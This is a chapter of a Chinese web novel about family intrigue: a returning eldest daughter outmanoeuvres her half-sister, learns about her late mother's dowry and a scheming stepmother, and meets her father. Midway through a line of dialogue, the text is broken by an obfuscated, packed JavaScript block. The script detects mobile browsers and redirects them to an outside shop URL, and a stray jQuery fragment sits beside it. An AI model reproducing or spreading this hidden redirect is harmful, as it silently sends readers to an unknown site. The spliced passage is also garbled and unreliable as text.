容濯瑜回到竹藿阁,容云瑰那边的人手脚倒是麻利,眼瞧着仆妇和丫鬟们围着正在收拾东西,容云瑰站在院子里,身段高挑,嘴角带着一缕浅淡的笑意。
“长姐。”她柔声唤道。
有的人就是这样,明明心里厌恶至极,但是面上还能温温柔柔的。
她方才安抚好容乐玫,转头便带着人来竹藿阁收拾东西了。
容濯瑜笑了笑,她还未说话,容云瑰却是抬眸扫了眼周遭,颇为怀念道:“在这住了许久,要搬走了心里可有点舍不得。但是长姐喜欢这里,我便是再不舍得也愿意让出来。”
容濯瑜也不看她,反倒是语气恬淡道:“二妹妹念旧,我也是个念旧的人。何况我记着,这里原本就是我的屋子。”
最后一句话说的不疾不徐,是了,她只是在陈述事实。
容云瑰却愣了愣,脸上笑意未变,她颔首道:“是,这里自然是长姐的屋子。长姐寄养在青州这许多年,恐怕对府里一切都不大熟悉,方才爹爹与小娘嘱咐我要多帮衬长姐,长姐若有不明白的尽管打发人来问,姐妹之间不必客气。”
容濯瑜笑吟吟道:“你说的是,这话祖母也嘱咐过我。这些事原都是下头人来做的,我身边且有常妈妈照顾,就不劳二妹妹挂心了。”
她面上客客气气拒绝了容云瑰,却让容云瑰面色变了变,心底堵着一口气,容濯瑜不就是明嘲暗讽她是个下人么?
容云瑰紧了紧手心,迫使自己不要失态。她不能在容濯瑜面前露怯,更不能表现出她的不沉稳。
容云瑰转过身去,低声吩咐身边丫鬟紫苏,只见紫苏上前两步,冷着脸吆喝道:“还不都快些收拾东西,莫要让大娘子久等了。要知道今日大娘子归家头一日,舟车劳顿,谁敢耽搁了大娘子歇息,让你们吃不了兜着走。”
容濯瑜微微蹙眉,一边雪乌压低声音道不满道:“瞧他们吆五喝六的,不知道还真以为是为着娘子好。您不必开口,且瞧着奴婢来就是了。”
雪乌轻轻咳嗽两声,她瞥了眼紫苏,语气慢悠悠道:“这位姐姐,咱们这是侯府,凡事都有体统规矩。如今府里贵人主子们都在歇息,各位妈妈们也不耳背,何必大声嚷嚷,不知道的还以为哪个市井泼妇在骂街。”
紫苏登时脸上一阵红一阵白,她跟在容云瑰身边伺候,是一等大丫鬟,向来只有底下人捧着的份儿,还是头一回被人这样直白讽刺。
她咬着唇不甘地瞧了眼容云瑰,却也不敢再说了,容云瑰面上也挂不住,向来打狗还要看主人,容濯瑜这样一而再再而三下她的脸面是什么缘故?
容云瑰深吸了一口气,眼圈泛红道:“我知道,长姐不高兴我占了你的院子。可我所做的都是好意,绝对没有想要与长姐争抢什么。长姐今日话里话外都透着不满,你身边的丫鬟也话里挤兑我丫鬟,我不知道到底怎样才能让长姐出气。”
又来了,容濯瑜似笑非笑地望着她,一直以为容云瑰是个聪明人,来来回回都是这样一哭二闹三上吊的戏码,非要在她回来第一天添堵,想要让她名声扫地,她勾了勾嘴角,这样的行为真是愚不可及。
容濯瑜侧身扬声道:“来人,打一盆热水来给二娘子净面。免得哭花了妆容出去,反倒是我的不是。”
容云瑰见容濯瑜压根儿不接话,她咬了咬唇,神情中皆是愤懑。
容濯瑜却走过来,出人意外地执着她的手,语气温柔和缓道:“这样好看的一张脸,哭什么呢?难不成二妹妹心里怨我,想让所有人都觉得我欺负了你不成。咱们是亲姐妹,有什么话坦坦诚诚说出来,不必这样弯弯绕绕,使了无数个心眼子只会让人腻烦。”
“二妹妹是聪明人,该明白我话里的意思。”
话落,她掏出帕子来正要给容云瑰擦拭眼泪,却不料容云瑰下意识后腿两步,脸上闪过几分防备,容濯瑜笑了笑。
容云瑰垂眸,又抬起头时面上的神情已经变的淡淡的,方才还是那副怯生生的柔弱模样,如今却是嘴角含了几分讥讽,“长姐也不装了是么?也是,总是演戏,你累我也累。”
“长姐是为着什么回来,我心知肚明。往后这府里,做什么事都各凭手段。什么姐妹,不过是最虚伪的笑话罢了。”
她稍稍顿了顿,而后退后两步,又拔高音量冷声道:“快些将东西收拾好送到秋澜阁。”
“我有些乏了,便先去歇息了。”
容濯瑜望着她离去的身影,眉头终于舒展开来。
“娘子这就算是与二娘子扯破脸了?”雪乌还有些迷糊,满头雾水的模样。
“爹爹面前装装样子就是了,还真要演什么姐妹情深。”容濯瑜觉得方才姐姐妹妹叫着多恶心,想起来人都不松快了。
忽略容云瑰,今日倒有一件事高兴,那就是回到小时候住的院子了。
今日在容明淮面前,虽然不免有做戏的成分,可心底的怀念是真的。不过,她只是怀念难产早逝的阿娘,简氏的音容笑貌时时徘徊在脑海中,可一晃她已经离开自己许多年了。
容濯瑜也成了大姑娘,不再像小时候那样想起阿娘来就躲在屋里哭。她如今需要坚强,这样才能在这个家里立足,继而让柳氏付出代价。
常妈妈轻叹一口气道:“可好屋子还和从前一样,那庭院里种的那棵大树,还是当年夫人带着小娘子一起栽的幼苗,一晃竟也这么多年了。”
“一会儿待二娘子那边人走干净了,奴婢一定替您好好收拾一番,绝不让那边的污糟留下半分。”
说罢,常妈妈大有撸着袖子亲自去办的架势。
这副模样倒把容濯瑜逗笑了,这是她今日头一回流露出的真切的笑意,不是那种虚伪的,也不是为了在容明淮跟前做戏博取同情。
“好,那就辛苦常妈妈了。”容濯瑜笑吟吟道,身后的雪乌和缨鸣亦是相视一眼,都笑的轻松自在。
她从青州过来,除了自幼伺候的雪乌和缨鸣,简老夫人那边送来的茯苓和白芷,身边就有四个丫鬟了,但仍是不够的。
按照侯府小娘子们的份例,一等大丫鬟有四个,二等丫鬟五个,三等丫鬟六个,林林总总一个院子总有十数人伺候。
丫鬟们分三等,除了月钱不同,职能也不同。一等大丫鬟是主子们身边的心腹,主要管贴身活计和银钱,二等丫鬟则是能够在内院伺候的,做些轻省的活计,至于三等丫鬟就是粗使丫鬟了,负担的基本是最脏最累的那种。
容濯瑜目前身边人手不足,自是要补齐的。
常妈妈道:“娘子放心,这些事情交给奴婢就行。保准儿挑些机灵的聪慧的来伺候,除了这些,还有些要紧事,还请娘子移步过来。”
这便是要避着些人了,容濯瑜点了点头,待往里头走了几步,常妈妈四处瞧瞧谨慎道:“当年夫人过世后,简老夫人亲自上京来要带娘子回青州去,那时候虽说是寄养,可老夫人也跟奴婢交了底,想着时间长了,到时候就将娘子留在身边也好。可是怕侯府不放娘子,彼此不好闹的太过,便将嫁妆物件都留下来了,奴婢这才留下来照看。”
“这些年东西都留
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711632|144581||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在正院,库房落了锁,钥匙都在奴婢身上。如今娘子回来了,奴婢想着是时候将东西交给您来打理了。”
常妈妈是她阿娘的陪房,常妈妈的忠心容濯瑜是明白的。
她点了点头,微微沉思道:“好,你明日将钥匙给我。再将嫁妆归拢的单子给我,我记着阿娘的嫁妆里头有实业吧?”
常妈妈忙不迭点头说是,可说起这个,人又有些垂头丧气,“正要说这个呢,当年夫人是远嫁,因此购置的实业都在京兆。有六间铺子荒了许久,奴婢不懂这些,也不敢轻信旁人,是以一直攥在手里。如此便要一并交给娘子,瞧瞧做些什么产业好。”
容濯瑜记得她阿娘嫁妆很是丰厚,不仅是铺子,还有宅契都有。
可惜身价再厚,所托付终身的人也靠不住。
“我知道了。”容濯瑜垂眸,顿了顿继续道,“柳氏这些年,可有什么动作?”
“别瞧她看着装模作样,一点不惦记的样子,可心里总打鬼主意呢。隔个一年半载就到家主那边扇耳旁风,想要接管夫人留下的产业,听说有回她还跟家主说,夫人是正室嫡妻,留下来的东西原就是侯府的,那么长房的儿女个个都有份,真是可笑,谁不晓得她一个接一个生,都要进了她的腰包才是。”常妈妈翻了个白眼,愤慨道。
容濯瑜笑了笑,她料到了。柳氏当年千方百计想要进侯府,不甘愿做外室,不就是放不下这里的荣华富贵么?
阿娘的嫁妆譬如一大块肥肉,整日在跟前晃悠,看着就肥美诱人,她不想分一杯羹才是假的。
“白日做梦。”容濯瑜顿了顿,又问道,“她这样会扇耳旁风,爹爹怎么说呢?”
“当年老夫人就是预料会有这样一桩事,所以啊早早就留下一份嫁妆清单,严明东西都是要留给小娘子的,东西早过了明路,官府那边都是认的,她想都不要想。”常妈妈啐了口。
容濯瑜点了点头,如今一切俱是百废待兴,阿娘的产业自然不能荒废了,她虽然对做生意一道不大懂,可总能去学,慢慢上手。
没过一柱香时候,屋里的东西就收拾好了,眼瞧着二娘子派来的人离开,常妈妈已经唤来了许多人手打扫屋子,而后又将箱笼一一收拾归置好。
一直到午膳时候,容明淮终于来了,说起来,他有好些年不曾来过竹藿阁了。
便是正院,简氏从前住的正屋,听常妈妈说他都不曾踏足过。
容明淮怔怔地望着这熟悉又陌生的院子,难得有些感慨,又瞧着身旁亭亭玉立的女儿,不免和声道:“就像是做梦一般,这些日子我总能想起你小时候,顽皮可爱,整日在院子里撒欢,十个八个妈妈都看不住你。”
容濯瑜笑着道:“女儿小时候太顽皮,倒让爹爹太操心了。”
容明淮闻言,嘴角笑意却有些遭不住,他垂眸哀叹道:“不,你阿娘她……”
这是回来这么久,他头一回提到简氏。
容濯瑜望着容明淮,他虽然不似年轻时那般俊朗,可依旧儒雅稳重,岁月好似不曾苛待过他。
有时候,她看着他,觉得熟悉也陌生。
她有时候想,他若是不喜欢阿娘,何苦将阿娘娶入门,小时候夫妻二人鹣鲽情深,也曾是京兆一对佳话。
可若是曾经都是假的,都是做样子,如今又要做出这样一副不舍的缅怀模样,是为了恶心人,还是装自己很深情呢?
个中答案,只有他自己知道。
容濯瑜垂眸一笑,淡了声气道:“爹爹,你可还记得阿娘的模样?”